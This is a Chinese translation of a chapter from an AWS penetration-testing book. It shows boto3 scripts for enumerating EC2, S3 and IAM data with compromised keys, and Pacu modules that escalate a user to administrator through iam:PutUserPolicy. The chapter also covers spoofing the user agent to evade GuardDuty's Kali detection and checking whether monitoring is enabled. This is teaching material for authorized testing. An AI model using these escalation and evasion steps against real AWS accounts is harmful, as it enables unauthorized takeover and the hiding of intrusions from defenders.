Kali Linux AWS 渗透测试实用指南(二)
原文:
annas-archive.org/md5/25FB30A9BED11770F1748C091F46E9C7译者:飞龙
第十章:使用窃取的密钥、Boto3 和 Pacu 提升 AWS 账户的特权
AWS 环境渗透测试的一个重要方面是枚举用户的权限,并在可能的情况下提升这些特权。知道你可以访问什么是第一场战斗,它将允许你在环境中制定攻击计划。接下来是特权升级,如果你可以进一步访问环境,你可以执行更具破坏性的攻击。在本章中,我们将深入研究 Python 的boto3库,学习如何以编程方式进行 AWS API 调用,学习如何使用它来自动枚举我们的权限,最后学习如何使用它来提升我们的权限,如果我们的用户容易受到提升攻击。
枚举我们的权限对于多种原因非常重要。其中之一是我们将避免需要猜测我们的权限是什么,从而在过程中防止许多访问被拒绝的错误。另一个是它可能披露有关环境其他部分的信息,比如如果特定资源在我们的身份和访问管理(IAM)策略中被标记,那么我们就知道该资源正在使用,并且在某种程度上很重要。此外,我们可以将我们的权限列表与已知的特权升级方法列表进行比较,以查看是否可以授予自己更多访问权限。我们可以获得对环境的更多访问权限,攻击的影响就越大,如果我们是真正的恶意攻击者而不是渗透测试人员,我们的攻击就会更加危险。
在本章中,我们将涵盖以下主题:
-
使用
boto3库进行侦察 -
转储所有账户信息
-
使用受损的 AWS 密钥进行权限枚举
-
特权升级和使用 Pacu 收集凭据
权限枚举的重要性
无论如何,无论您是否可以提升权限,拥有确切的权限列表都非常重要。这可以节省您在攻击环境时的大量时间,因为您不需要花时间尝试猜测您可能拥有的访问权限,而是可以进行离线手动分析,以留下更小的日志记录。通过了解您拥有的访问权限,您可以避免运行测试命令以确定您是否具有特权的需要。这是有益的,因为 API 错误,特别是访问被拒绝的错误,可能会非常嘈杂,并且很可能会警告防御者您的活动。
在许多情况下,您可能会发现您的用户没有足够的权限来枚举他们的全部权限。在这些情况下,通常建议根据您已经拥有的信息做出假设,比如密钥是从哪里检索到的。也许你从一个上传文件到S3的 Web 应用程序中获得了这些受损的密钥。可以安全地假设这些密钥有权限上传文件到S3,并且它们也可能具有读取/列出权限。这组密钥很可能无法访问 IAM 服务,因此进行 IAM API 调用可能会相当嘈杂,因为它很可能会返回访问被拒绝的错误。但这并不意味着你永远不应该尝试这些权限,因为有时这是你唯一的选择,你可能需要在账户中制造一些噪音,以找出接下来的步骤。
使用 boto3 库进行侦察
Boto3 是 Python 的 AWS 软件开发工具包(SDK),可以在这里找到:boto3.amazonaws.com/v1/documentation/api/latest/index.html。它提供了与 AWS API 交互的接口,意味着我们可以以编程方式自动化和控制我们在 AWS 中所做的事情。它由 AWS 管理,因此会不断更新最新的 AWS 功能和服务。它还用于 AWS 命令行界面(CLI)的后端,因此与其在代码中运行 AWS CLI 命令相比,与这个库进行交互更有意义。
因为我们将使用 Python 来编写我们的脚本,boto3是与 AWS API 进行交互的完美选择。这样,我们就可以自动化我们的侦察/信息收集阶段,很多额外的工作已经被处理了(比如对 AWS API 的 HTTP 请求进行签名)。我们将使用 AWS API 来收集有关目标账户的信息,从而确定我们对环境的访问级别,并帮助我们精确制定攻击计划。
本节将假定您已经安装了 Python 3 以及pip包管理器。
安装boto3就像运行一个pip install命令一样简单:
pip3 install boto3
现在boto3及其依赖项应该已经安装在您的计算机上。如果pip3命令对您不起作用,您可能需要通过 Python 命令直接调用pip,如下所示:
python3 -m pip install boto3
我们的第一个 Boto3 枚举脚本
一旦安装了boto3,它只需要被导入到您的 Python 脚本中。在本章中,我们将从以下声明自己为python3的 Python 脚本开始,然后导入boto3:
#!/usr/bin/env python3
import boto3
我们可以通过几种不同的方式来设置boto3的凭据,但我们将坚持只使用一种方法,那就是通过创建一个boto3的session来进行 API 调用(boto3.amazonaws.com/v1/documentation/api/latest/reference/core/session.html)。
在上一章中,我们创建了 IAM 用户并将他们的密钥保存到了 AWS CLI 中,所以现在我们可以使用boto3来检索这些凭据并在我们的脚本中使用它们。我们将首先通过以下代码实例化一个boto3的session,用于us-west-2地区:
session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
这段代码创建了一个新的boto3 session,并将在计算机上搜索名为Test的 AWS CLI 配置文件,这是我们已经设置好的。通过使用这种方法来处理我们脚本中的凭据,我们不需要直接在代码中包含硬编码的凭据。
现在我们已经创建了我们的 session,我们可以使用该 session 来创建boto3客户端,然后用于对 AWS 进行 API 调用。客户端在创建时接受多个参数来管理不同的配置值,但一般来说,我们只需要担心一个参数,那就是service_name参数。它是一个位置参数,将始终是我们传递给客户端的第一个参数。以下代码设置了一个新的boto3客户端,使用我们的凭据,目标是 EC2 AWS 服务:
client = session.client('ec2')
现在我们可以使用这个新创建的客户端来对 EC2 服务进行 AWS API 调用。
有关可用方法的列表,您可以访问boto3文档中的 EC2 参考页面:boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#client。
有许多方法可供选择,但为了信息枚举的目的,我们将从describe_instances方法开始,就像我们之前展示的那样(即在第九章的在 AWS 上使用 IAM 访问密钥部分中所示),使用 AWS CLI,将枚举目标区域中的 EC2 实例。我们可以运行此 API 调用并使用以下代码行检索结果:
response = client.describe_instances()
describe_instances方法接受一些可选参数,但对于我们进行的第一个调用,我们还不需要。这个方法的文档告诉我们,它支持分页。根据您要定位的账户中的 EC2 实例数量,您可能无法在第一次 API 调用中收到所有结果。我们可以通过创建一个单独的变量来存储所有枚举的实例,并检查结果是否完整来解决这个问题。
我们添加的上一行代码(response = client.describe_instances())需要稍微重新排列一下,以便最终如下所示:
# First, create an empty list for the enumerated instances to be stored in
instances = []
# Next, make our initial API call with MaxResults set to 1000, which is the max
# This will ensure we are making as few API calls as possible
response = client.describe_instances(MaxResults=1000)
# The top level of the results will be "Reservations" so iterate through those
for reservation in response['Reservations']:
# Check if any instances are in this reservation
if reservation.get('Instances'):
# Merge the list of instances into the list we created earlier
instances.extend(reservation['Instances'])
# response['NextToken'] will be a valid value if we don't have all the results yet
# It will be "None" if we have completed enumeration of the instances
# So we need check if it has a valid value, and because this could happen again, we will need to make it a loop
# As long as NextToken has a valid value, do the following, otherwise skip it
while response.get('NextToken'):
# Run the API call again while supplying the previous calls NextToken
# This will get us the next page of 1000 results
response = client.describe_instances(MaxResults=1000, NextToken=response['NextToken'])
# Iterate the reservations and add any instances found to our variable again
for reservation in response['Reservations']:
if reservation.get('Instances'):
instances.extend(reservation['Instances'])
现在我们可以确保即使在具有数千个 EC2 实例的大型环境中,我们也有完整的实例列表。
保存数据
现在我们有了 EC2 实例列表,但我们应该怎么处理呢?一个简单的解决方案是将数据输出到本地文件中,以便以后可以引用。我们可以通过导入json Python 库并将instances的内容转储到与我们的脚本相同的目录中的文件中来实现这一点。让我们将以下代码添加到我们的脚本中:
# Import the json library
import json
# Open up the local file we are going to store our data in
with open('./ec2-instances.json', 'w+') as f:
# Use the json library to dump the contents to the newly opened file with some indentation to make it easier to read. Default=str to convert dates to strings prior to dumping, so there are no errors
json.dump(instances, f, indent=4, default=str)
现在完整的脚本(不包括注释)应该如下所示:
#!/usr/bin/env python3
import boto3
import json
session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
client = session.client('ec2')
instances = []
response = client.describe_instances(MaxResults=1000)
for reservation in response['Reservations']:
if reservation.get('Instances'):
instances.extend(reservation['Instances'])
while response.get('NextToken'):
response = client.describe_instances(MaxResults=1000, NextToken=response['NextToken'])
for reservation in response['Reservations']:
if reservation.get('Instances'):
instances.extend(reservation['Instances'])
with open('./ec2-instances.json', 'w+') as f:
json.dump(instances, f, indent=4, default=str)
现在我们可以使用以下命令运行此脚本:
python3 our_script.py
在当前目录中应该创建一个名为ec2-instances.json的新文件,当您打开它时,您应该看到类似以下截图的内容,其中列出了us-west-2区域中所有 EC2 实例的 JSON 表示。这些 JSON 数据包含有关 EC2 实例的基本信息,包括标识信息、网络信息和适用于 EC2 实例的其他配置。但是,这些细节目前并不重要:
这个文件现在应该包含我们之前在代码中指定的区域中所有实例的枚举信息。
添加一些 S3 枚举
现在假设我们想要枚举账户中存在的S3存储桶以及这些存储桶中的文件。目前,我们的测试 IAM 用户没有S3权限,因此我已经直接将 AWS 托管策略AmazonS3ReadOnlyAccess附加到我们的用户上。如果您需要为自己的用户执行此操作,请参考第九章的在 AWS 上使用身份访问管理。
我们将在已经创建的现有脚本的底部添加以下代码。首先,我们将想要弄清楚账户中有哪些S3存储桶,因此我们需要设置一个新的boto3客户端来定位S3:
client = session.client('s3')
然后,我们将使用list_buckets方法来检索账户中S3存储桶的列表。请注意,与ec2:DescribeInstances API 调用不同,s3:ListBuckets API 调用不是分页的,您可以期望在单个响应中看到账户中的所有存储桶:
response = client.list_buckets()
返回的数据中包含一些我们目前不感兴趣的信息(例如存储桶创建日期),因此我们将遍历响应并仅提取存储桶的名称:
bucket_names = []
for bucket in response['Buckets']:
bucket_names.append(bucket['Name'])
现在我们已经知道账户中所有存储桶的名称,我们可以继续使用list_objects_v2API 调用列出每个存储桶中的文件。list_objects_v2API 调用是一个分页操作,因此可能不是每个对象都会在第一个 API 调用中返回给我们,因此我们将在脚本中考虑到这一点。我们将添加以下代码到我们的脚本中:
# Create a dictionary to hold the lists of object (file) names
bucket_objects = {}
# Loop through each bucket we found
for bucket in bucket_names:
# Run our first API call to pull in the objects
response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000)
# Check if there are any objects returned (none will return if no objects are in the bucket)
if response.get('Contents'):
# Store the fetched set of objects
bucket_objects[bucket] = response['Contents']
else:
# Set this bucket to an empty object and move to the next bucket
bucket_objects[bucket] = []
continue
# Check if we got all the results or not, loop until we have everything if so
while response['IsTruncated']:
response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000, ContinuationToken=response['NextContinuationToken'])
# Store the newly fetched set of objects
bucket_objects[bucket].extend(response['Contents'])
当循环完成时,我们应该得到bucket_objects是一个字典,其中每个键是账户中的存储桶名称,它包含存储在其中的对象列表。
与我们将所有 EC2 实例数据转储到ec2-instances.json类似,我们现在将所有文件信息转储到多个不同的文件中,文件名是存储桶的名称。我们可以添加以下代码来实现:
# We know bucket_objects has a key for each bucket so let's iterate that
for bucket in bucket_names:
# Open up a local file with the name of the bucket
with open('./{}.txt'.format(bucket), 'w+') as f:
# Iterate through each object in the bucket
for bucket_object in bucket_objects[bucket]:
# Write a line to our file with the object details we are interested in (file name and size)
f.write('{} ({} bytes)\n'.format(bucket_object['Key'], bucket_object['Size']))
现在我们已经添加到原始脚本的最终代码应该如下(不包括注释):
client = session.client('s3')
bucket_names = []
response = client.list_buckets()
for bucket in response['Buckets']:
bucket_names.append(bucket['Name'])
bucket_objects = {}
for bucket in bucket_names:
response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000)
bucket_objects[bucket] = response['Contents']
while response['IsTruncated']:
response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000, ContinuationToken=response['NextContinuationToken'])
bucket_objects[bucket].extend(response['Contents'])
for bucket in bucket_names:
with open('./{}.txt'.format(bucket), 'w+') as f:
for bucket_object in bucket_objects[bucket]:
f.write('{} ({} bytes)\n'.format(bucket_object['Key'], bucket_object['Size']))
现在我们可以使用与之前相同的命令再次运行我们的脚本:
python3 our_script.py
当它完成时,它应该再次枚举 EC2 实例并将它们存储在ec2-instances.json文件中,现在账户中每个存储桶也应该有一个文件,其中包含其中所有对象的文件名和文件大小。以下屏幕截图显示了从我们的一个test存储桶中下载的信息的片段:
现在我们知道哪些文件存在,我们可以尝试使用 AWS S3 API 命令get_object来下载听起来有趣的文件,但我会把这个任务留给你。请记住,数据传输会导致发生在 AWS 账户中的费用,因此通常不明智编写尝试下载存储桶中的每个文件的脚本。如果你这样做了,你可能会轻易地遇到一个存储了数百万兆字节数据的存储桶,并导致 AWS 账户产生大量意外费用。这就是为什么根据名称和大小选择要下载的文件是很重要的。
转储所有账户信息
AWS 使得可以通过多种方法(或 API)从账户中检索数据,其中一些方法比其他方法更容易。这对我们作为攻击者来说是有利的,因为我们可能被拒绝访问一个权限,但允许访问另一个权限,最终可以用来达到相同的目标。
一个新的脚本 - IAM 枚举
在这一部分,我们将从一个新的脚本开始,目标是枚举 IAM 服务和 AWS 账户的各种数据点。脚本将从我们已经填写的一些内容开始:
#!/usr/bin/env python3
import boto3
session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
client = session.client('iam')
我们已经声明文件为python3文件,导入了boto3库,使用us-west-2区域Test配置文件中的凭据创建了我们的boto3 session,然后使用这些凭据为 IAM 服务创建了一个boto3客户端。
我们将从get_account_authorization_detailsAPI 调用开始(boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam.html#IAM.Client.get_account_authorization_details),该调用从账户中返回大量信息,包括用户、角色、组和策略信息。这是一个分页的 API 调用,因此我们将首先创建空列表来累积我们枚举的数据,然后进行第一个 API 调用:
# Declare the variables that will store the enumerated information
user_details = []
group_details = []
role_details = []
policy_details = []
# Make our first get_account_authorization_details API call
response = client.get_account_authorization_details()
# Store this first set of data
if response.get('UserDetailList'):
user_details.extend(response['UserDetailList'])
if response.get('GroupDetailList'):
group_details.extend(response['GroupDetailList'])
if response.get('RoleDetailList'):
role_details.extend(response['RoleDetailList'])
if response.get('Policies'):
policy_details.extend(response['Policies'])
然后我们需要检查响应是否分页,以及是否需要进行另一个 API 调用来获取更多结果。就像之前一样,我们可以使用一个简单的循环来做到这一点:
# Check to see if there is more data to grab
while response['IsTruncated']:
# Make the request for the next page of details
response = client.get_account_authorization_details(Marker=response['Marker'])
# Store the data again
if response.get('UserDetailList'):
user_details.extend(response['UserDetailList'])
if response.get('GroupDetailList'):
group_details.extend(response['GroupDetailList'])
if response.get('RoleDetailList'):
role_details.extend(response['RoleDetailList'])
if response.get('Policies'):
policy_details.extend(response['Policies'])
您可能已经注意到 AWS API 调用参数和响应的名称和结构存在不一致性(例如ContinuationToken与NextToken与Marker)。这是无法避免的,boto3库在其命名方案上存在不一致性,因此重要的是阅读您正在运行的命令的文档。
保存数据(再次)
现在,就像以前一样,我们希望将这些数据保存在某个地方。我们将使用以下代码将其存储在四个单独的文件users.json、groups.json、roles.json和policies.json中:
# Import the json library
import json
# Open up each file and dump the respective JSON into them
with open('./users.json', 'w+') as f:
json.dump(user_details, f, indent=4, default=str)
with open('./groups.json', 'w+') as f:
json.dump(group_details, f, indent=4, default=str)
with open('./roles.json', 'w+') as f:
json.dump(role_details, f, indent=4, default=str)
with open('./policies.json', 'w+') as f:
json.dump(policy_details, f, indent=4, default=str)
这将使最终脚本(不包括注释)看起来像下面这样:
#!/usr/bin/env python3
import boto3
import json
session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
client = session.client('iam')
user_details = []
group_details = []
role_details = []
policy_details = []
response = client.get_account_authorization_details()
if response.get('UserDetailList'):
user_details.extend(response['UserDetailList'])
if response.get('GroupDetailList'):
group_details.extend(response['GroupDetailList'])
if response.get('RoleDetailList'):
role_details.extend(response['RoleDetailList'])
if response.get('Policies'):
policy_details.extend(response['Policies'])
while response['IsTruncated']:
response = client.get_account_authorization_details(Marker=response['Marker'])
if response.get('UserDetailList'):
user_details.extend(response['UserDetailList'])
if response.get('GroupDetailList'):
group_details.extend(response['GroupDetailList'])
if response.get('RoleDetailList'):
role_details.extend(response['RoleDetailList'])
if response.get('Policies'):
policy_details.extend(response['Policies'])
with open('./users.json', 'w+') as f:
json.dump(user_details, f, indent=4, default=str)
with open('./groups.json', 'w+') as f:
json.dump(group_details, f, indent=4, default=str)
with open('./roles.json', 'w+') as f:
json.dump(role_details, f, indent=4, default=str)
with open('./policies.json', 'w+') as f:
json.dump(policy_details, f, indent=4, default=str)
现在我们可以使用以下命令运行脚本:
python3 get_account_details.py
当前文件夹应该有四个新文件,其中包含帐户中用户、组、角色和策略的详细信息。
使用受损的 AWS 密钥进行权限枚举
我们现在可以扩展上一节的脚本,使用收集的数据来确定您当前用户具有的确切权限,通过相关不同文件中存储的数据。为此,我们首先需要在我们拉下来的用户列表中找到我们当前的用户。
确定我们的访问级别
在攻击场景中,您可能不知道当前用户的用户名,因此我们将添加使用iam:GetUser API 来确定该信息的代码行(请注意,如果您的凭据属于角色,则此调用将失败):
username = client.get_user()['User']['UserName']
然后,我们将遍历我们收集的用户数据,并寻找我们当前的用户:
# Define a variable that will hold our user
current_user = None
# Iterate through the enumerated users
for user in user_details:
# See if this user is our user
if user['UserName'] == username:
# Set the current_user variable to our user
current_user = user
# We found the user, so we don't need to iterate through the rest of them
break
现在我们可以检查一些可能附加到我们用户对象的不同信息。如果某个信息不存在,那么意味着我们不需要担心它的值。
为了得出我们用户的完整权限列表,我们需要检查以下数据:UserPolicyList、GroupList和AttachedManagedPolicies。UserPolicyList将包含附加到我们用户的所有内联策略,AttachedManagedPolicies将包括附加到我们用户的所有托管策略,GroupList将包含我们用户所属的组的列表。对于每个策略,我们需要提取与之关联的文档,对于组,我们需要检查附加到它的内联策略和托管策略,然后提取与之关联的文档,最终得出一个明确的权限列表。
分析附加到我们用户的策略
我们将首先收集附加到我们用户的内联策略文档。幸运的是,任何内联策略的整个文档都包含在我们的用户中。我们将向我们的脚本添加以下代码:
# Create an empty list that will hold all the policies related to our user
my_policies = []
# Check if any inline policies are attached to my user
if current_user.get('UserPolicyList'):
# Iterate through the inline policies to pull their documents
for policy in current_user['UserPolicyList']:
# Add the policy to our list
my_policies.append(policy['PolicyDocument'])
现在my_policies应该包括直接附加到我们用户的所有内联策略。接下来,我们将收集附加到我们用户的托管策略文档。策略文档并未直接附加到我们的用户,因此我们必须使用标识信息在我们的policy_details变量中找到策略文档:
# Check if any managed policies are attached to my user
if current_user.get('AttachedManagedPolicies'):
# Iterate through the list of managed policies
for managed_policy in user['AttachedManagedPolicies']:
# Note the policy ARN so we can find it in our other variable
policy_arn = managed_policy['PolicyArn']
# Iterate through the policies stored in policy_details to find this policy
for policy_detail in policy_details:
# Check if we found the policy yet
if policy_detail['Arn'] == policy_arn:
# Determine the default policy version, so we know which version to grab
default_version = policy_detail['DefaultVersionId']
# Iterate the available policy versions to find the one we want
for version in policy_detail['PolicyVersionList']:
# Check if we found the default version yet
if version['VersionId'] == default_version:
# Add this policy document to our original variable
my_policies.append(version['Document'])
# We found the document, so exit this loop
break
# We found the policy, so exit this loop
break
现在my_policies应该包括直接附加到我们用户的所有内联策略和托管策略。接下来,我们将找出我们所属的组,然后枚举附加到每个组的内联策略和托管策略。完成后,我们将得到分配给我们用户的完整权限列表:
# Check if we are in any groups
if current_user.get('GroupList'):
# Iterate through the list of groups
for user_group in current_user['GroupList']:
# Iterate through all groups to find this one
for group in group_details:
# Check if we found this group yet
if group['GroupName'] == user_group:
# Check for any inline policies on this group
if group.get('GroupPolicyList'):
# Iterate through each inline policy
for inline_policy in group['GroupPolicyList']:
# Add the policy document to our original variable
my_policies.append(inline_policy['PolicyDocument'])
# Check for any managed policies on this group
if group.get('AttachedManagedPolicies'):
# Iterate through each managed policy detail
for managed_policy in group['AttachedManagedPolicies']:
# Grab the policy ARN
policy_arn = managed_policy['PolicyArn']
# Find the policy in our list of policies
for policy in policy_details:
# Check and see if we found it yet
if policy['Arn'] == policy_arn:
# Get the default version
default_version = policy['DefaultVersionId']
# Find the document for the default version
for version in policy['PolicyVersionList']:
# Check and see if we found it yet
if version['VersionId'] == default_version:
# Add the document to our original variable
my_policies.append(version['Document'])
# Found the version, so break out of this loop
break
# Found the policy, so break out of this loop
break
现在脚本应该完成了,我们的my_policies变量应该包含直接附加到我们用户的所有内联和托管策略的策略文档,以及附加到我们用户所属的每个组的所有内联和托管策略。我们可以通过添加一个最终片段来检查这些结果,将数据输出到本地文件:
with open('./my-user-permissions.json', 'w+') as f:
json.dump(my_policies, f, indent=4, default=str)
我们可以使用相同的命令运行文件:
python3 get_account_details.py
然后,我们可以检查生成的my-user-permissions.json,其中应包含适用于您的用户的所有策略和权限的列表。它应该看起来像以下的屏幕截图:
现在我们有一个很好的权限列表,我们可以使用这些权限,以及我们可以在什么条件下应用这些权限。
另一种方法
需要注意的重要一点是,如果用户没有iam:GetAccountAuthorization权限,此脚本将失败,因为他们将无法收集用户、组、角色和策略列表。为了可能解决这个问题,我们可以参考本节开头的部分,其中指出有时通过 AWS API 有多种方法来做某事,这些不同的方法需要不同的权限集。
在我们的用户没有iam:GetAccountAuthorizationDetails权限的情况下,但他们拥有其他 IAM 读取权限,可能仍然有可能枚举我们的权限列表。我们不会运行并创建执行此操作的脚本,但如果您愿意尝试,这里是一个一般指南:
-
检查我们是否有
iam:GetAccountAuthorizationDetails权限 -
如果是这样,请运行我们刚创建的脚本
-
如果不是,请转到步骤 2
-
使用
iam:GetUserAPI 确定我们是什么用户(请注意,这对于角色不起作用!) -
使用
iam:ListUserPoliciesAPI 获取附加到我们的用户的内联策略列表 -
使用
iam:GetUserPolicyAPI 获取每个内联策略的文档 -
使用
iam:ListAttachedUserPoliciesAPI 获取附加到我们的用户的托管策略列表 -
使用
iam:GetPolicyAPI 确定附加到我们的用户的每个托管策略的默认版本 -
使用
iam:GetPolicyVersionAPI 获取附加到我们的用户的每个托管策略的策略文档 -
使用
iam:ListGroupsForUserAPI 查找我们的用户属于哪些组 -
使用
iam:ListGroupPoliciesAPI 列出附加到每个组的内联策略 -
使用
iam:GetGroupPolicyAPI 获取附加到每个组的每个内联策略的文档 -
使用
iam:ListAttahedGroupPoliciesAPI 列出附加到每个组的托管策略 -
使用
iam:GetPolicyAPI 确定附加到每个组的每个托管策略的默认版本 -
使用
iam:GetPolicyVersionAPI 获取附加到每个组的每个托管策略的策略文档
正如您可能已经注意到的,这种权限枚举方法需要对 AWS 进行更多的 API 调用,而且可能会对倾听的防御者产生更大的影响,比我们的第一种方法。但是,如果您没有iam:GetAccountAuthorizationDetails权限,但您有权限遵循列出的所有步骤,那么这可能是正确的选择。
使用 Pacu 进行特权升级和收集凭据
在尝试检测和利用我们目标用户的特权升级之前,我们将添加另一个策略,使用户容易受到特权升级的影响。在继续之前,向我们的原始Test用户添加一个名为PutUserPolicy的内联策略,并使用以下文档:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:PutUserPolicy",
"Resource": "*"
}
]
}
此策略允许我们的用户在任何用户上运行iam:PutUserPolicy API 操作。
Pacu - 一个开源的 AWS 利用工具包
Pacu是由 Rhino Security Labs 编写的开源 AWS 利用工具包。它旨在帮助渗透测试人员攻击 AWS 环境;因此,现在我们将快速安装和设置 Pacu,以自动化我们一直在尝试的这些攻击。
有关安装和配置的更详细说明可以在第十九章中找到,将所有内容整合在一起-真实世界的 AWS 渗透测试;这些步骤旨在让您尽快设置并使用 Pacu。
Pacu 可以通过 GitHub 获得,因此我们需要运行一些命令来安装所有内容(我们正在运行 Kali Linux)。首先,让我们确认是否已安装git:
apt-get install git
然后,我们将从 GitHub 克隆 Pacu 存储库(github.com/RhinoSecurityLabs/pacu):
git clone https://github.com/RhinoSecurityLabs/pacu.git
然后,我们将切换到 Pacu 目录并运行安装脚本,这将确保我们安装了正确的 Python 版本(Python 3.5 或更高版本),并使用pip3安装必要的依赖项:
cd pacu && bash install.sh
现在 Pacu 应该已经成功安装,我们可以使用以下命令启动它:
python3 pacu.py
将会出现一些消息,让您知道已生成新的设置文件并创建了新的数据库。它将检测到我们尚未设置session,因此会要求我们命名一个新的会话以创建。Pacu 会话基本上是一个项目,您可以在同一安装中拥有多个独立的 Pacu 会话。会话数据存储在本地 SQLite 数据库中,每个单独的会话可以被视为一个项目或目标公司。当您在多个环境上工作时,它允许您保持数据和凭证的分离。每个 Pacu 会话之间的日志和配置也是分开的;我们将命名我们的会话为Demo:
一旦我们成功创建了新会话,将会呈现一些有关 Pacu 的有用信息,我们稍后将更深入地了解这些信息。
Kali Linux 检测绕过
因为我们正在 Kali Linux 上运行 Pacu,所以在帮助输出之后,我们会看到有关我们用户代理的额外消息,类似于以下截图中显示的内容:
我们可以看到 Pacu 已经检测到我们正在运行 Kali Linux,并相应地修改了我们的用户代理。 GuardDuty是 AWS 提供的众多安全服务之一,用于检测和警报 AWS 环境中发生的可疑行为。 GuardDuty检查的一项内容是您是否正在从 Kali Linux 发起 AWS API 调用(docs.aws.amazon.com/guardduty/latest/ug/guardduty_pentest.html#pentest1)。我们希望在攻击某个账户时尽量触发尽可能少的警报,因此 Pacu 已经内置了自动绕过这项安全措施。 GuardDuty检查发起 API 调用的用户代理,以查看是否能从中识别 Kali Linux,并在识别到时发出警报。Pacu 将我们的用户代理修改为一个通用用户代理,不会引起GuardDuty的怀疑。
Pacu CLI
紧接着这个输出,我们可以看到一个名为 Pacu CLI 的东西:
这显示了我们正在 Pacu CLI 中,我们的活动会话名为 Demo,我们没有活动密钥。我们可以通过几种不同的方式向 Pacu 数据库添加一些 AWS 密钥,例如使用set_keys命令,或者从 AWS CLI 导入它们。
我们已经设置了 AWS 密钥以便与 AWS CLI 一起使用,因此最简单的方法是从 AWS CLI 导入它们。我们可以通过运行以下 Pacu 命令导入我们的Test AWS CLI 配置文件:
import_keys Test
此命令应返回以下输出:
Imported keys as "imported-Test"
现在,如果我们运行whoami命令,我们应该能够看到我们的访问密钥 ID 和秘密访问密钥已被导入,如果我们查看 Pacu CLI,我们现在可以看到,而不是No Keys Set,它显示了我们导入的密钥的名称。Pacu CLI 的位置指示了当前凭证集的位置:
现在我们已经设置好了 Pacu,我们可以通过从 Pacu CLI 运行ls命令来检索当前模块的列表。为了自动化本章前面我们已经完成的一个过程,我们将使用iam__enum_permissions模块。该模块将执行必要的 API 调用和数据解析,以收集我们的活动凭证集的确认权限列表。该模块也可以针对账户中的其他用户或角色运行,因此为了更好地了解其功能,运行以下命令:
help iam__enum_permissions
现在你应该能够看到该模块的描述以及它支持的参数。为了针对我们自己的用户运行该模块,我们不需要传入任何参数,所以我们可以直接运行以下命令来执行该模块:
run iam__enum_permissions
如果当前的凭证集有权限枚举他们的权限(这是应该的,因为我们在本章前面设置了),输出应该表明模块成功地收集了该用户或角色的权限:
现在我们已经枚举了我们用户的权限,我们可以通过再次运行whoami命令来查看枚举的数据。这次,大部分数据将被填充。
Groups 字段将包含我们的用户所属的任何组的信息,Policies 字段将包含任何附加到我们的用户的 IAM 策略的信息。识别信息,如UserName,Arn,AccountId和UserId字段也应该填写。
在输出的底部,我们可以看到PermissionsConfirmed字段,其中包含 true 或 false,并指示我们是否能够成功枚举我们拥有的权限。如果我们被拒绝访问某些 API 并且无法收集完整的权限列表,该值将为 false。
Permissions字段将包含我们的用户被赋予的每个 IAM 权限,这些权限可以应用到的资源以及使用它们所需的条件。就像我们在本章前面编写的脚本一样,这个列表包含了附加到我们的用户的任何内联或托管策略授予的权限,以及附加到我们的用户所属的任何组的任何内联或托管策略授予的权限。
从枚举到特权升级
我们的权限已经被枚举,所以现在我们将尝试使用这些权限进行环境中的特权升级。还有一个 Pacu 模块叫做iam_privesc_scan。该模块将运行并检查你枚举的权限集,以查看你的用户是否容易受到 AWS 中 21 种不同已知的特权升级方法中的任何一种的影响。
Rhino Security Labs 撰写了一篇文章,详细介绍了这 21 种不同的特权升级方法以及如何手动利用它们,你可以在这里参考:rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/。
在模块检查我们是否容易受到这些方法中的任何一种的影响之后,它将尝试利用它们来为我们进行特权升级,这让我们的工作变得容易。如果你对特权升级模块想了解更多,你可以使用help命令来查看:
help iam__privesc_scan
正如你所看到的,这个模块也可以针对账户中的其他用户和角色运行,以确定它们是否也容易受到特权升级的影响,但目前我们只会针对我们自己的用户。
我们已经枚举了我们的权限,所以我们可以继续运行特权升级模块而不带任何参数:
run iam__privesc_scan
该模块将执行,搜索您的权限,看看您是否容易受到它检查的任何升级方法的攻击,然后它将尝试利用它们。对于我们的Test用户,它应该会检测到我们容易受到PutUserPolicy特权升级方法的攻击。然后它将尝试滥用该权限,以在我们的用户上放置(实质上附加)一个新的内联策略。我们控制着我们附加到用户的策略,因此我们可以指定一个管理员级别的 IAM 策略并将其附加到我们的用户,然后我们将获得管理员访问权限。该模块将通过向我们的用户添加以下策略文档来自动执行此操作:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
以下截图显示的输出应该与您运行特权升级模块时看到的类似:
在前面的截图中,我们可以看到一行成功添加了名为 jea70c72mk 的内联策略!您不应该具有管理员权限。这听起来不错,但让我们确认一下以确保。
我们可以通过几种不同的方式来确认这一点;其中一种是再次运行iam__enum_permissions模块,然后查看权限字段。它应该包括一个新的权限,即星号(*),这是一个通配符,表示所有权限。这意味着我们对环境拥有管理员访问权限!
如果我们在 AWS Web 控制台中查看我们的用户,我们会看到我们的用户附加了一个名为jea70c72mk的新策略,当我们点击它旁边的箭头以展开文档时,我们可以看到其中放置了管理员策略:
使用我们的新管理员特权
Pacu 允许我们直接从 Pacu CLI 使用 AWS CLI,用于您可能只想运行单个命令而不是完整模块的情况。让我们利用这个功能和我们的新管理员权限来运行一个 AWS CLI 命令,以请求我们以前没有的数据。这可以通过像平常一样运行 AWS CLI 命令来完成,这样我们就可以尝试运行一个命令来枚举账户中的其他资源。我们目前在我们自己的个人账户中,所以这个命令可能对您来说不会返回任何有效数据,但是在攻击其他账户时检查这个 API 调用将是很重要的。
我们可以通过从 Pacu CLI 运行以下命令来检查账户是否在us-east-1地区启用了GuardDuty:
aws guardduty list-detectors --profile Test --region us-west-2
在我们的Test账户中,我们确实运行了GuardDuty,所以我们得到了下面截图中显示的输出。但是,如果您没有运行GuardDuty,那么DetectorIds字段将为空:
该命令从 AWS 返回了一个DetectorId。对于这个 API 调用,任何数据的存在都意味着GuardDuty先前已经在该地区启用,因此可以安全地假定它仍然在没有进行更多 API 调用的情况下启用。如果在目标地区禁用了GuardDuty,DetectorIds将只是一个空列表。作为攻击者,最好是GuardDuty被禁用,因为这样我们就知道它不会警报我们正在执行的任何恶意活动。
